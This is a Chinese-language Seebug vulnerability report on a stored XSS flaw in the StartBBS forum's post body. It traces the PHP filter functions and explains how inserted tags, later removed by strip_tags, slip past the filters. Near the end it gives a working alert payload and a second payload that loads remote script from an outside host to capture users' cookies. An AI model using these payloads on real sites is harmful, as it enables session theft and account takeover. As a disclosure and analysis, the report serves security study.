StartBBS开源轻论坛发帖正文处存储型XSS

2014-05-12T00:00:00
ID SSV:95654
Type seebug
Reporter Root
Modified 2014-05-12T00:00:00

Description

简要描述:

来一个发帖正文处储存型xss,直接触发,不需用户交互。可盲打管理以及所有用户信息。 StartBBS虽然不算大厂商,但自己在挖洞时的分析使我又学到了很多,又学到了一种绕过技巧。依旧是老问题,富文本xss,很容易出现问题。而且这个位置也很重要,可能有些xss在用户资料或其他位置,但这个xss位置在发帖正文处,如果盲打的话危害很大。 或许能够蠕动起来吧,谁知道呢~ 一些其他案例参考:http://www.leavesongs.com/PENETRATION/xss-fliter-bypass.html

详细说明:

startbbs在防御xss上还是下了一些功夫的,但是经常姿势不对,其实开发者可以向一些白帽子咨询一下,也许能得到更好的方法。   默认安装好startbbs后发帖位置是没有编辑器的。我们来到任意一个发帖的页面,可以看到有一个“图片/附件”按钮,点击可以上传图片。

<img src="https://images.seebug.org/upload/201405/11204334b6ed2791e5e7fd4d7f213c3eda6bde7e.jpg" alt="005.jpg" width="600" onerror="javascript:errimg(this);">

随便上传一个图片,我发现图片地址直接出现在了编辑框中。再结合下面那段话“可以直接粘贴链接和图片地址”,我猜测stratbbs在后台会将我的图片地址用正则匹配出现,并加入<img src=”xxx”>这种标签中,最后显示出来。   类似于markdown,但又比markdown低级一些。想到这里我就又想到,这样的话如果我用双引号将src属性闭合掉,后面就能够加javascript事件了。这样我的输入中不会含有<、>,也没有任何html标签。   我带着这个想法开始看代码。   app/controllers/forum.php 210行开始:

``` $data = array( 'title' => $this->input->post ('title',true), 'content' => clearxss($this->input->post ('content')), 'cid' => $cid, 'uid' => $uid, 'addtime' => time(), 'updatetime' => time(), 'lastreply' => time(), 'views' => 0, 'ord'=>time() ); //开启审核时 if($this->config->item('is_approve')=='on'){ $data['is_hidden'] = 1; } //无编辑器时的处理 if($this->config->item('show_editor')=='off'){ $data['content'] = filter_check($data['content']); $this->load->helper('format_content'); $data['content'] = format_content($data['content']);

} ```

我们输入的数据经过了三个处理:   01 -> 'content' => clearxss($this->input->post ('content'))   02 -> $data['content'] = filter_check($data['content']);   03 -> $data['content'] = format_content($data['content']);      第一个clearxss,是一个国内cms中常见的处理富文本xss的xss fliter,我也曾经绕过过(详见http://www.leavesongs.com/PENETRATION/xss-fliter-bypass.html )。其内容如下:

<img src="https://images.seebug.org/upload/201405/112044443b4466e32ed49c6949e7093720c9183c.jpg" alt="006.jpg" width="600" onerror="javascript:errimg(this);">

过滤了很多属性,基本没有可以触发xss的属性了。不过因为startbbs代码的特殊,让这里的fliter形同虚设。   这个之后会讲到。   第二个filter_check函数,具体代码如下:

<img src="https://images.seebug.org/upload/201405/11204512d3919bf999585a9c1049d93879e09fe4.jpg" alt="007.jpg" width="600" onerror="javascript:errimg(this);">

主要作用是处理<pre>标签,转义代码区域。不过注意一个操作:strip_tags(php中,strip_tags这个函数是用来清楚html标签的)。这个函数很重要,给我的xss帮了大忙。   第三个format_content函数,作用是正则匹配。代码比较多我就不贴了,就是我之前说的,匹配看看某某地址是否是http://xxxx/xxx.gif等,如果是说明是图片文件,就加入img标签中。它匹配图片或链接的正则是这样:   preg_match_all("#(^|\s|()((http(s?)://)|(www.))(\w+[^\s)\<]+)#i", $str, $matches)   并没有处理双引号,我隐隐看到了xss的可能。但仔细观察这个正则,发现当其匹配到空白符、“)”或“<”时就不匹配了。<我们不需要,空白符可以用“/”代替,但“)”绝对不能少啊……javascript中如果没有圆括号,等于说不能执行函数啊,基本就废了。   说完了这三个函数,我再来理一遍思路。首先,我想通过输入一个类似于

http://xxx/” onerror=”alert(/xss/)” name=”.jpg

这样的畸形url,让后端认为是一个图片地址,然后放入<img src=”xxx”>标签中,变成这样:

&lt;img src=”http://xxx/” onerror=”alert(/xss/)” name=”.jpg” /&gt;

从而触发xss。但遇到几个难点:   01.clearxss函数将onerror处理成了on<x>error   02.正则匹配到)就结束了,没有圆括号,onerror=”alert(/xx/”是会出错的。   为了解决第二个问题,我理所当然地想到用html字符实体代替),“)”的html实体是)。但在clearxss函数中,是会处理这个html实体的。会将html实体转换成原来的字符。   我曾经用嵌套来绕过这一限制,当时用的方法是&#41;,让clearxss先把4转换成4,在正好与)组成了一个完整的html实体。但可惜的是,当时要转换的不是)。具体说起来比较麻烦,但在我们这里,转换)用嵌套是不行的。具体为什么不行,读者可以仔细研读clearxss函数,就自然清楚了。   我们回到第二个filter_check函数,里面有一个很重要的操作,调用了strip_tags。说到这里可能有的同学已经懂了。strip_tags会清除所有html代码,比如<x>,比如<div></div>。那么现在,我们的payload就好构造了,在onerror中加一个<div></div>或其他什么标签,绕过正则,而之后又会被清除掉。   而虽然clearxss会在onerror里加<x>,但我们又通过strip_tags清除了这个<x>。等于没加。   关于清除<x>这个事,大家可以做个试验。

&lt;?php   $a = '123&lt;x&gt;456';   echo strip_tags($a);   $a = '&lt;img abc&lt;x&gt;def /&gt;';   echo strip_tags($a, '&lt;img&gt;');   ?&gt;

这个代码会输出什么?我最后发现输出的是

123456&lt;img abcxdef /&gt;

前面一个<x>全部被清除了,而在img标签中的<x>最后留下了一个x。这就是二者的差别。所以我们不能直接输入<img src=# onerror=alert(1)>,这样我们最后输出的是<img src=# onxerror=alert(1)>,onerror中间多一个x,还是没法执行。

漏洞证明:

说了半天思路,我直接给payload吧:

http://x"/onerror="alert(/xss/&#&lt;div&gt;&lt;/div&gt;41;"/name=".jpg

将这个poc写在帖子里发出去,就能看到弹窗了:

<img src="https://images.seebug.org/upload/201405/11204743d3ee79af0352122b1eaf4d2a8e8066ea.jpg" alt="004.jpg" width="600" onerror="javascript:errimg(this);">

再来个加载远程js的exp:

http://x"/onerror="$.get&#&lt;div&gt;&lt;/div&gt;83;cript('http://xss.com/9WfKui'&#&lt;div&gt;&lt;/div&gt;41;"/name=".jpg

可以看到平台已经接收到cookie了:

<img src="https://images.seebug.org/upload/201405/11204830adfe4df9b8bfd9e44d3581bedfa08584.jpg" alt="008.jpg" width="600" onerror="javascript:errimg(this);">

最后说一下,Startbbs虽然不是大厂商,但自己在挖洞时的分析使我又学到了很多。依旧是老问题,富文本xss,很容易出现问题。而且这个位置也很重要,可能有些xss在用户资料或其他位置,但这个xss位置在发帖正文处,如果盲打的话危害很大。或许能够蠕动起来吧,谁知道呢~